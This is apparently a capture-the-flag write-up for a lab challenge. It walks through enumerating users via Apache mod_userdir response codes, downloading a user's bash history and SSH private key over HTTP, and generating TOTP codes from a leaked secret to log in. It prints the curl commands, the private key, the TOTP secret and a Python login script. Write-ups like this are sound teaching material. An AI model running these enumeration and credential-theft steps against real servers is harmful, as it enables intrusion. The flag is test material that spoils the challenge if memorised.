Secure Terminal Server (3 stars, Internal Systems)¶
Challenge¶
Hi Senior Researcher,
the NREN-TCC research community uses a secure terminal server for running experiments and accessing computational resources. The terminal server has recently acquired a new feature, currently still in testing and not yet announced to its users: every scientist can now publish a personal homepage directly from their home directory.
It sounds convenient. Perhaps even dangerous. Take a closer look and see what can go wrong.
Stay curious!
The server sits on home.nren.tcc
Flag format: Flag{xxxx-xxxx-xxxx-xxxx}
Flag¶
FLAG{qPb2-qVV8-WwkZ-Kq7G}
Infrastructure¶
- Target: home.nren.tcc (10.99.26.60)
- Port 22: OpenSSH 10.0p2 Debian 7+deb13u4 (publickey + keyboard-interactive auth)
- Port 80: Apache httpd 2.4.68 (Debian) with mod_userdir
Solution¶
Step 1: Reconnaissance¶
Nmap full port scan reveals two services:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.68 ((Debian))
The web server shows a static "Secure Terminal Server" page. The challenge hints at Apache mod_userdir — a feature that serves files from user home directories via ~username/ URLs.
Step 2: User Enumeration via mod_userdir¶
Requesting http://home.nren.tcc/~username/ always returns 403 (directory listing disabled). However, requesting a specific file reveals a difference:
~username/index.html→ 403 = user does not exist or has no home directory~username/index.html→ 404 = user exists and has an active home directory
curl -s -o /dev/null -w "%{http_code}" "http://home.nren.tcc/~john/index.html"
# 404 — user exists
curl -s -o /dev/null -w "%{http_code}" "http://home.nren.tcc/~nonexistent/index.html"
# 403 — no such user
Using this technique with the dirb names wordlist (lowercased):
tr '[:upper:]' '[:lower:]' < /usr/share/dirb/wordlists/others/names.txt | sort -u | while IFS= read -r user; do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://home.nren.tcc/~${user}/index.html")
if [ "$code" = "404" ]; then
echo "FOUND: $user"
fi
done
Found users: david, john, karen, peter, tom
Step 3: Discovering the Misconfiguration¶
The key vulnerability: mod_userdir is configured to serve the entire home directory, not just ~/public_html/. Standard dotfiles like .bash_history, .bashrc, and .profile are all accessible via HTTP:
curl -s -o /dev/null -w "%{http_code}" "http://home.nren.tcc/~karen/.bash_history"
# 200
Step 4: Extracting Sensitive Data from Karen's Bash History¶
curl -s "http://home.nren.tcc/~karen/.bash_history"
Output:
uname -a
cd ~
sudo apt-get install -y libpam-google-authenticator qrencode
google-authenticator -t -d -f -r 3 -R 30 -w 3
qrencode -o qr.png 'otpauth://totp/karen@nren-2fa?secret=7PCPRMSL2IMTH3KS&issuer=nren'
ssh-keygen -t ed25519 -N '' -f ~/id_ed25519 -C 'karen@nren-deploy'
cat ~/id_ed25519.pub >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh -i ~/id_ed25519 karen@localhost
sudo systemctl restart ssh
rm -f qr.png
history -w
Two critical secrets exposed:
1. TOTP secret: 7PCPRMSL2IMTH3KS (Google Authenticator 2FA)
2. SSH private key saved to ~/id_ed25519 (home root, not ~/.ssh/) — and never deleted
Step 5: Downloading the SSH Private Key¶
The .ssh/ directory returns 403 (Apache blocks it), but the key was generated to ~/id_ed25519 — directly in the home root:
curl -s "http://home.nren.tcc/~karen/id_ed25519"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAMtFn+qLHZT72VUK3L463ZkFpKhRR9DrrGBpmrLt62sgAAAJip7xfeqe8X
3gAAAAtzc2gtZWQyNTUxOQAAACAMtFn+qLHZT72VUK3L463ZkFpKhRR9DrrGBpmrLt62sg
AAAEDwgnxU6GJecdO65FeHAf6GiDrBHR4VFGtqguHIQ/4DRQy0Wf6osdlPvZVQrcvjrdmQ
WkqFFH0OusYGmasu3rayAAAAEWthcmVuQG5yZW4tZGVwbG95AQIDBA==
-----END OPENSSH PRIVATE KEY-----
Step 6: Generating TOTP and SSH Login¶
SSH requires publickey + keyboard-interactive (TOTP 2FA). Generate the TOTP code from the exposed secret:
import hmac, struct, time, hashlib, base64
secret = base64.b32decode('7PCPRMSL2IMTH3KS')
counter = int(time.time()) // 30
msg = struct.pack('>Q', counter)
h = hmac.new(secret, msg, hashlib.sha1).digest()
o = h[-1] & 0xf
code = (struct.unpack('>I', h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f'{code:06d}')
Automate SSH login with pexpect to handle the 2FA prompt:
import pexpect
child = pexpect.spawn('ssh -i karen_key karen@home.nren.tcc')
child.expect('Verification code:')
child.sendline(totp_code)
Output on successful login:
[ NREN 2FA gateway ] authentication successful
FLAG{qPb2-qVV8-WwkZ-Kq7G}
Attack Chain Summary¶
- mod_userdir misconfiguration — serves entire home directory instead of
~/public_html/ - User enumeration — 403/404 response differentiation on
~user/index.html - Bash history exposure — reveals TOTP secret and SSH key generation commands
- SSH key left in home root —
~/id_ed25519downloadable via HTTP (.ssh/was blocked, but home root wasn't) - TOTP secret in plaintext — enables generating valid 2FA codes
- SSH with stolen key + TOTP — full authentication bypass, flag printed on login